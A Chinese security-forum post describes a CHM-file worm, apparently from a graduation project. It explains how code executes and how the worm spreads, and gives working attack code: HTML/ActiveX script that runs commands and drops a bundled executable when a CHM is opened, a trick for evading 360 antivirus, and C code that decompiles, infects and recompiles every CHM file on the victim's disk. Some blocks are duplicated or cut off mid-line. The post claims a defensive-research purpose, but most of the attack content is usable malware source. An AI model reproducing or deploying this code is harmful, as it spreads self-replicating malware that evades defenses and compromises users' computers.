首页
社区
课程
招聘
[原创]利用chm文件实现病毒程序的蠕虫式横向传播
发表于: 2021-5-30 23:31 10098

[原创]利用chm文件实现病毒程序的蠕虫式横向传播

2021-5-30 23:31
10098

    这个项目属于我毕设中的一个模块,在19年时看到红队利用chm作为钓鱼文件进行入侵,在对他的手法进行复现后,发现并不能绕过360的主动防御,于是我对其中的主要js代码进行改进使其可以绕过主动防御,并在此基础上,对chm文件的文件结构与编译过程进行了研究,于是便有了此项目,使用此项目,可以在对方打开被感染的chm文件时,感染对方电脑中的所有chm文件,被感染的chm文件复制到其他电脑打开时,又会进行新一轮的攻击。最近又进行了一次测试,发现原本的攻击手法已经不能绕过360主动防御了,大家可以在此基础上继续寻找绕过的方法。该项目旨在研究红队的攻击手法,以便蓝队更好的进行防御。

  2.1 执行js代码,调用系统命令
    可以通过在主页html中添加js的方式实现
  2.2 释放恶意代码文件
    通过在编译时,对chm添加恶意程序,调用系统命令hh -decompile将程序释放到指定路径来实现
  2.3 感染其他chm文件
    通过释放微软提供的chm编译工具hhc.exe到磁盘中,根据反编译文件的内容,创建chm的编译环境配置文件,并在主页中插入js

  3.1 在html中执行js调用系统命令

通过以上方式,在Item1的value中添加需要执行的命令即可

  3.2 释放恶意代码文件
在3.1的基础上编写以下的js代码,即可将恶意程序释放并调用,直接上代码:

    其中调用xcopy拷贝hh.exe到Public目录,是因为在19年时,360对system目录路径下的hh.exe的调用做了主动防御,但并未对该目录下的xcopy.exe做主动防御,因此调用xcopy将hh.exe拷贝到其他目录下,即可绕过,但是现在经测试已经无效,不知道是对xcopy做了主动防御还是对整个system路径都做了主动防御,感兴趣的可以试一下。

  3.3 感染其他chm文件
    话不多说,直接上代码,首先需要将微软提供的chm编译工具释放到磁盘中

     在编译磁盘遇到chm文件时,需要先对其进行反编译,对反编译出的文件中的hhk文件添加需要捆绑的文件信息,在hhc文件中寻找主页文件路径,并对主页文件添加js,代码如下:

    其中对hhk插入的代码如下:

    对主页文件添加的代码如下:

    对hhc程序进行分析后可以发现,chm的编译依赖于一个hhp的配置文件,文件的主要内容如下:
图片描述
    创建hpp文件时,需要遍历反编译目录寻找hhc文件和hhk文件,将两个文件的路径分别赋值给Index file和Contents file,Combiled file和Title字段区赋值为chm文件名称,代码如下:

    调用释放的hhc.exe进行编译生成新的chm文件,这个新的chm即是被感染的chm。

    以上代码只是一个demo,在真实的场景中会遇到hhc和hhk的一些编码问题,想要进一步研究的可以自己解决以下,这里就不写了。最后附上c文件.

<div id="t0">
</div>
<OBJECT id=demo classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command"value="ShortCut">
<PARAM name="Button"value="Bitmap::shortcut">
<PARAM name="Item1"value=',calc.exe'>
</OBJECT>
demo.Click();
</SCRIPT>
<div id="t0">
</div>
<OBJECT id=demo classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command"value="ShortCut">
<PARAM name="Button"value="Bitmap::shortcut">
<PARAM name="Item1"value=',calc.exe'>
</OBJECT>
demo.Click();
</SCRIPT>
 
<div id="t0">
</div>
<OBJECT id=copy classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command"value="ShortCut">
<PARAM name="Button"value="Bitmap::shortcut">
<PARAM name="Item1"value=',xcopy,C:\Windows\SysWOW64\hh.exe /N C:\Users\Public\Dow
</OBJECT>
<OBJECT id=call classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command"value="ShortCut">
<PARAM name="Button"value="Bitmap::shortcut">
<PARAM name="Item1"value = ',path'>
</OBJECT>
<SCRIPT>
var str=location.href;
var commodStr0 =
'<OBJECT id=decompile classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1
'<PARAM name="Command" value="ShortCut0">' +
'<PARAM name="Button" value="Bitmap::shortcut0">' +
'<PARAM name="Item1" value=",C:\\Users\\Public\\Downloads\\Temp\\hh.exe,-decompile
'</OBJECT>';
var sleep = function(time) {
    var startTime = new Date().getTime() + parseInt(time, 10);
    while (new Date().getTime() < startTime) {}
};
copy.Click();
sleep(100);
document.getElementById('t0').innerHTML = commodStr0;
decompile.Click();
sleep(100);
call.Click();
</SCRIPT>
<div id="t0">
</div>
<OBJECT id=copy classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command"value="ShortCut">
<PARAM name="Button"value="Bitmap::shortcut">
<PARAM name="Item1"value=',xcopy,C:\Windows\SysWOW64\hh.exe /N C:\Users\Public\Dow
</OBJECT>
<OBJECT id=call classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command"value="ShortCut">
<PARAM name="Button"value="Bitmap::shortcut">
<PARAM name="Item1"value = ',path'>
</OBJECT>
<SCRIPT>
var str=location.href;
var commodStr0 =
'<OBJECT id=decompile classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1
'<PARAM name="Command" value="ShortCut0">' +
'<PARAM name="Button" value="Bitmap::shortcut0">' +
'<PARAM name="Item1" value=",C:\\Users\\Public\\Downloads\\Temp\\hh.exe,-decompile
'</OBJECT>';
var sleep = function(time) {
    var startTime = new Date().getTime() + parseInt(time, 10);
    while (new Date().getTime() < startTime) {}
};
copy.Click();
sleep(100);
document.getElementById('t0').innerHTML = commodStr0;
decompile.Click();
sleep(100);
call.Click();
</SCRIPT>
 
int InitEnv() {
    char szHhcPath[MAX_PATH];
    char szHhaPath[MAX_PATH];
    GetTempPath(MAX_PATH, szTempPath);
    strcpy(szHhcPath, szTempPath);
    strcat(szHhcPath, "hhc.exe");
    strcpy(szHhaPath, szTempPath);
    strcat(szHhaPath, "hha.dll");
    if (ReleaseRes(IDR_BIN2, szHhcPath)
        && ReleaseRes(IDR_BIN3, szHhaPath)) {
        return TRUE;
    }
    return FALSE;
}
int InitEnv() {
    char szHhcPath[MAX_PATH];
    char szHhaPath[MAX_PATH];
    GetTempPath(MAX_PATH, szTempPath);
    strcpy(szHhcPath, szTempPath);
    strcat(szHhcPath, "hhc.exe");
    strcpy(szHhaPath, szTempPath);
    strcat(szHhaPath, "hha.dll");
    if (ReleaseRes(IDR_BIN2, szHhcPath)
        && ReleaseRes(IDR_BIN3, szHhaPath)) {
        return TRUE;
    }
    return FALSE;
}
void InsertCode(char* szChmPath, char* szOutDir) {
    // 遍历目录
    char szFindPath[MAX_PATH] = { 0 };
    char szHhcPath[MAX_PATH] = { 0 };
    char szHhkPath[MAX_PATH] = { 0 };
    // 临时文件路径
    char szTmpPath[MAX_PATH] = { 0 };
    // 一行文本数据
    char szLine[MAX_PATH] = { 0 };
    // 首页文件的绝对路径
    char szFirstPath[MAX_PATH] = { 0 };
    // 临时文件
    FILE* pTmp;
    // 是否已插入数据
    int bInsert = FALSE;
    //ReleaseRes()
    strcat(szFindPath, (char*)szOutDir);
    strcat(szFindPath, "\\*");
    WIN32_FIND_DATA wfd = { 0 };
    HANDLE hFile = FindFirstFileA(szFindPath, &wfd);
    if (hFile != INVALID_HANDLE_VALUE) {
        do {
            if (wfd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
                continue;
            }
            char* suffix = strrchr(wfd.cFileName, '.');
            // 在编译内容文件HHK中新增捆绑文件
            if (!strcmp(suffix + 1, "hhk") || !strcmp(suffix + 1, "HHK")) {
                bInsert = FALSE;
                sprintf(szHhkPath, "%s\\%s", szOutDir, wfd.cFileName);
                sprintf(szTmpPath, "%s\\%s", szOutDir, "tmp.hhk");
                FILE* pHhc = fopen(szHhkPath, "r+");
                FILE* pTmp = fopen(szTmpPath, "w");
                while (fgets(szLine, MAX_PATH, pHhc)) {
                    // 在第一次出现"<LI> <OBJECT type="的上一行插入数据
                    if (strstr(szLine, "<LI> <OBJECT type=") && !bInsert) {
                        fputs(szInsertHhk, pTmp);
                        bInsert = TRUE;
                    }
                    fputs(szLine, pTmp);
                }
                fclose(pTmp);
                fclose(pHhc);
                // 用tmp.hhk替换原本的hhk
                CopyFile(szTmpPath, szHhkPath, FALSE);
                DeleteFile(szTmpPath);
            }
            // 在目录文件HHC中获取首页文件并插入代码
            if (!strcmp(suffix + 1, "hhc") || !strcmp(suffix + 1, "HHC")) {
                sprintf(szHhcPath, "%s\\%s", szOutDir, wfd.cFileName);
                FILE* pHhc = fopen(szHhcPath, "r");
                strcpy(szFirstPath, szOutDir);
                strcat(szFirstPath, "\\");
                while (fgets(szLine, MAX_PATH, pHhc)) {
                    // 第一次出现"<param name="Local" value="处为首页文件
                    if (strstr(szLine, "<param name=\"Local\" value=")) {
                        int dwLineLen = strlen(szLine);
                        int dwIndex = strlen("\t\t<param name=\"Local\" value=\"");
                        // 去除前缀和后面的" ">\n "
                        strncat(szFirstPath, szLine + dwIndex, dwLineLen - dwIndex - 3);
                        StrReplace(szFirstPath, "/", "\\");
                        break;
                    }
                }
                fclose(pHhc);
                bInsert = FALSE;
                memset(szTmpPath, 0, sizeof(szTmpPath));
                strcpy(szTmpPath, szOutDir);
                strcat(szTmpPath, "\\tmp.html");
                pTmp = fopen(szTmpPath, "w");
                FILE* pFirstFile = fopen(szFirstPath, "r");
                while (fgets(szLine, MAX_PATH, pFirstFile)) {
                    // 在第一次出现"<html>"的下一行插入数据
                    fputs(szLine, pTmp);
                    if (strstr(szLine, "<html>") && !bInsert) {
                        // 添加 TencentMusic.exe
                        fputs(szFirstPage, pTmp);
                        bInsert = TRUE;
                    }
                }
                fclose(pFirstFile);
                fclose(pTmp);
                // 用tmp.hhk替换原本的hhk
                CopyFile(szTmpPath, szFirstPath, FALSE);
                DeleteFile(szTmpPath);
            }
        } while (FindNextFileA(hFile, &wfd));
    }
    FindClose(hFile);
}
void InsertCode(char* szChmPath, char* szOutDir) {
    // 遍历目录
    char szFindPath[MAX_PATH] = { 0 };
    char szHhcPath[MAX_PATH] = { 0 };
    char szHhkPath[MAX_PATH] = { 0 };
    // 临时文件路径
    char szTmpPath[MAX_PATH] = { 0 };
    // 一行文本数据
    char szLine[MAX_PATH] = { 0 };
    // 首页文件的绝对路径
    char szFirstPath[MAX_PATH] = { 0 };
    // 临时文件
    FILE* pTmp;
    // 是否已插入数据
    int bInsert = FALSE;
    //ReleaseRes()
    strcat(szFindPath, (char*)szOutDir);
    strcat(szFindPath, "\\*");
    WIN32_FIND_DATA wfd = { 0 };
    HANDLE hFile = FindFirstFileA(szFindPath, &wfd);
    if (hFile != INVALID_HANDLE_VALUE) {
        do {
            if (wfd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
                continue;
            }
            char* suffix = strrchr(wfd.cFileName, '.');
            // 在编译内容文件HHK中新增捆绑文件
            if (!strcmp(suffix + 1, "hhk") || !strcmp(suffix + 1, "HHK")) {
                bInsert = FALSE;
                sprintf(szHhkPath, "%s\\%s", szOutDir, wfd.cFileName);
                sprintf(szTmpPath, "%s\\%s", szOutDir, "tmp.hhk");
                FILE* pHhc = fopen(szHhkPath, "r+");
                FILE* pTmp = fopen(szTmpPath, "w");
                while (fgets(szLine, MAX_PATH, pHhc)) {
                    // 在第一次出现"<LI> <OBJECT type="的上一行插入数据
                    if (strstr(szLine, "<LI> <OBJECT type=") && !bInsert) {
                        fputs(szInsertHhk, pTmp);
                        bInsert = TRUE;
                    }
                    fputs(szLine, pTmp);
                }
                fclose(pTmp);
                fclose(pHhc);
                // 用tmp.hhk替换原本的hhk
                CopyFile(szTmpPath, szHhkPath, FALSE);
                DeleteFile(szTmpPath);
            }
            // 在目录文件HHC中获取首页文件并插入代码
            if (!strcmp(suffix + 1, "hhc") || !strcmp(suffix + 1, "HHC")) {
                sprintf(szHhcPath, "%s\\%s", szOutDir, wfd.cFileName);
                FILE* pHhc = fopen(szHhcPath, "r");
                strcpy(szFirstPath, szOutDir);
                strcat(szFirstPath, "\\");
                while (fgets(szLine, MAX_PATH, pHhc)) {
                    // 第一次出现"<param name="Local" value="处为首页文件
                    if (strstr(szLine, "<param name=\"Local\" value=")) {
                        int dwLineLen = strlen(szLine);
                        int dwIndex = strlen("\t\t<param name=\"Local\" value=\"");
                        // 去除前缀和后面的" ">\n "
                        strncat(szFirstPath, szLine + dwIndex, dwLineLen - dwIndex - 3);
                        StrReplace(szFirstPath, "/", "\\");
                        break;
                    }
                }
                fclose(pHhc);
                bInsert = FALSE;
                memset(szTmpPath, 0, sizeof(szTmpPath));
                strcpy(szTmpPath, szOutDir);
                strcat(szTmpPath, "\\tmp.html");
                pTmp = fopen(szTmpPath, "w");
                FILE* pFirstFile = fopen(szFirstPath, "r");
                while (fgets(szLine, MAX_PATH, pFirstFile)) {
                    // 在第一次出现"<html>"的下一行插入数据
                    fputs(szLine, pTmp);
                    if (strstr(szLine, "<html>") && !bInsert) {
                        // 添加 TencentMusic.exe
                        fputs(szFirstPage, pTmp);
                        bInsert = TRUE;

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2021-5-31 00:37 被某警官编辑 ,原因:
上传的附件:
收藏
免费 4
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//